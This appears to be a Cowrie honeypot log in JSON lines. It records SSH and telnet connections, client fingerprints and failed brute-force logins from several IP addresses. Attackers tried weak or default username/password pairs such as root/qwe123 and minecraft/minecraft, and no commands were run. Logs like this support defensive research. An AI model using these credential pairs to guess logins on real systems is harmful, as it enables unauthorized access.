{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:32.312824Z","src_ip":"176.65.132.129","session":"f9280f93e2be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:32.394690Z","src_ip":"176.65.132.129","session":"f9280f93e2be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123","message":"login attempt [user1/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:32.641046Z","src_ip":"176.65.132.129","session":"f9280f93e2be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.195.254.215","src_port":60000,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6ec4dfeeb8e","protocol":"ssh","message":"New connection: 199.195.254.215:60000 (10.17.0.5:22) [session: c6ec4dfeeb8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:32.923614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:32.936941Z","src_ip":"199.195.254.215","session":"c6ec4dfeeb8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":17.266129732131958,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:32.994830Z","src_ip":"64.227.82.147","session":"9f718524672e","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:33.494354Z","src_ip":"199.195.254.215","session":"c6ec4dfeeb8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:33.725600Z","src_ip":"176.65.132.129","session":"f9280f93e2be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":55224,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac807452b0bb","protocol":"ssh","message":"New connection: 176.65.132.129:55224 (10.17.0.5:22) [session: ac807452b0bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:35.548443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:35.553295Z","src_ip":"176.65.132.129","session":"ac807452b0bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:35.641556Z","src_ip":"176.65.132.129","session":"ac807452b0bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"asd12345678","message":"login attempt [ubuntu/asd12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:35.735956Z","src_ip":"199.195.254.215","session":"c6ec4dfeeb8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"minecraft","message":"login attempt [minecraft/minecraft] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:35.889499Z","src_ip":"176.65.132.129","session":"ac807452b0bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.380690574645996,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:36.615005Z","src_ip":"45.81.23.16","session":"fce430b47fe3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:36.974615Z","src_ip":"176.65.132.129","session":"ac807452b0bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:37.481297Z","src_ip":"199.195.254.215","session":"c6ec4dfeeb8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":59276,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8f4d16a8bb1","protocol":"ssh","message":"New connection: 176.65.132.129:59276 (10.17.0.5:22) [session: d8f4d16a8bb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:38.896676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:38.904623Z","src_ip":"176.65.132.129","session":"d8f4d16a8bb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:38.979777Z","src_ip":"176.65.132.129","session":"d8f4d16a8bb1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazXSW@","message":"login attempt [root/1qazXSW@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:39.585140Z","src_ip":"176.65.132.129","session":"d8f4d16a8bb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.943827629089355,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:39.950018Z","src_ip":"149.56.30.13","session":"293400e0804b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:40.672555Z","src_ip":"176.65.132.129","session":"d8f4d16a8bb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.67120718955994,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:41.321130Z","src_ip":"149.56.30.13","session":"0f68744c88cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":59310,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5d03400b864","protocol":"ssh","message":"New connection: 176.65.132.129:59310 (10.17.0.5:22) [session: e5d03400b864]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:42.459531Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:42.464561Z","src_ip":"176.65.132.129","session":"e5d03400b864","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:42.547271Z","src_ip":"176.65.132.129","session":"e5d03400b864","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123","message":"login attempt [root/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:42.793306Z","src_ip":"176.65.132.129","session":"e5d03400b864","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:43.910973Z","src_ip":"176.65.132.129","session":"e5d03400b864","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":58394,"dst_ip":"10.17.0.5","dst_port":22,"session":"8afd1d652573","protocol":"ssh","message":"New connection: 176.65.132.129:58394 (10.17.0.5:22) [session: 8afd1d652573]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:45.777234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:45.782288Z","src_ip":"176.65.132.129","session":"8afd1d652573","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:45.868674Z","src_ip":"176.65.132.129","session":"8afd1d652573","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vss","password":"vss","message":"login attempt [vss/vss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:46.114771Z","src_ip":"176.65.132.129","session":"8afd1d652573","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.88.211.210","src_port":35550,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1870064daf0","protocol":"ssh","message":"New connection: 195.88.211.210:35550 (10.17.0.5:22) [session: e1870064daf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:46.215076Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:46.220870Z","src_ip":"195.88.211.210","session":"e1870064daf0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:46.464666Z","src_ip":"195.88.211.210","session":"e1870064daf0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:47.198931Z","src_ip":"176.65.132.129","session":"8afd1d652573","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":74.6502730846405,"message":"Connection lost after 74 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:47.491478Z","src_ip":"64.227.82.147","session":"82adbadd3d68","protocol":"telnet"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"60:22:e7:5a:98:06:32:d7:ce:cb:9d:c0:22:b1:3a:76","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAgEAnRxVxNcrRTyLUAtfteyZxwkqcSfyC3ZGzwiep53Sy7paCvKTZ7NL9/dIzz7W1MLBf5xmgpGpHLqfNrjGy1aq/ZmvbfFZd3jJ6K69qlymmYpmod/QF/Z+9+NQTdoNEE/47Q1g8HAmqjrBixfFPdEkOMc0zGHmdVFwAx69De35DdWf5jNlmobCQQAOrSrIZDgebtJjpztiUzVRWOKt0NfHJdrP1ORmRy1QuUZfvIh4CjVRPILljZ1IBaIjBBQ+VFEodfEvB7uYrC5p4vFN2whvBkzy8Dg1A42a5kwheHa7Nbw9CyFABxxGvbs6LUK879/BCuGpPMu89+uut00g+o8BBJfhI1yET8SbSRFh4xQI1189opgvsNKdJLBV8iIDNfoodGvBbut8aOSkkD/zn1enFGJ1RpPfu4T3PvGskqXf6A3FDVFtAv8V9dUIehIr7Hra0Vaoa9wqymaBdvTWiCZNTS239onqfFPeuqXPCK13T1WUneVVuOHXdz52zWN/v0ikM3CvT2zOG+nD4WLTasfn9FwVSAnzd5j/nsd3Pul2TezWMFiSGSU82U3l8C9vsopZKy+gmnLoCN8qg+r5Hr3MJz9mfL0wNeAhhVB3loMrKwKKzNe0PZ9o9/8lQ9RkUnqpsA9HW8x1MljMR7QiZV2EMyw5hALs947z4t66barAQXE=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 60:22:e7:5a:98:06:32:d7:ce:cb:9d:c0:22:b1:3a:76","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:47.644979Z","src_ip":"195.88.211.210","session":"e1870064daf0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"60:22:e7:5a:98:06:32:d7:ce:cb:9d:c0:22:b1:3a:76","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAgEAnRxVxNcrRTyLUAtfteyZxwkqcSfyC3ZGzwiep53Sy7paCvKTZ7NL9/dIzz7W1MLBf5xmgpGpHLqfNrjGy1aq/ZmvbfFZd3jJ6K69qlymmYpmod/QF/Z+9+NQTdoNEE/47Q1g8HAmqjrBixfFPdEkOMc0zGHmdVFwAx69De35DdWf5jNlmobCQQAOrSrIZDgebtJjpztiUzVRWOKt0NfHJdrP1ORmRy1QuUZfvIh4CjVRPILljZ1IBaIjBBQ+VFEodfEvB7uYrC5p4vFN2whvBkzy8Dg1A42a5kwheHa7Nbw9CyFABxxGvbs6LUK879/BCuGpPMu89+uut00g+o8BBJfhI1yET8SbSRFh4xQI1189opgvsNKdJLBV8iIDNfoodGvBbut8aOSkkD/zn1enFGJ1RpPfu4T3PvGskqXf6A3FDVFtAv8V9dUIehIr7Hra0Vaoa9wqymaBdvTWiCZNTS239onqfFPeuqXPCK13T1WUneVVuOHXdz52zWN/v0ikM3CvT2zOG+nD4WLTasfn9FwVSAnzd5j/nsd3Pul2TezWMFiSGSU82U3l8C9vsopZKy+gmnLoCN8qg+r5Hr3MJz9mfL0wNeAhhVB3loMrKwKKzNe0PZ9o9/8lQ9RkUnqpsA9HW8x1MljMR7QiZV2EMyw5hALs947z4t66barAQXE=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:53:47.648570Z","src_ip":"195.88.211.210","session":"e1870064daf0","protocol":"ssh"}
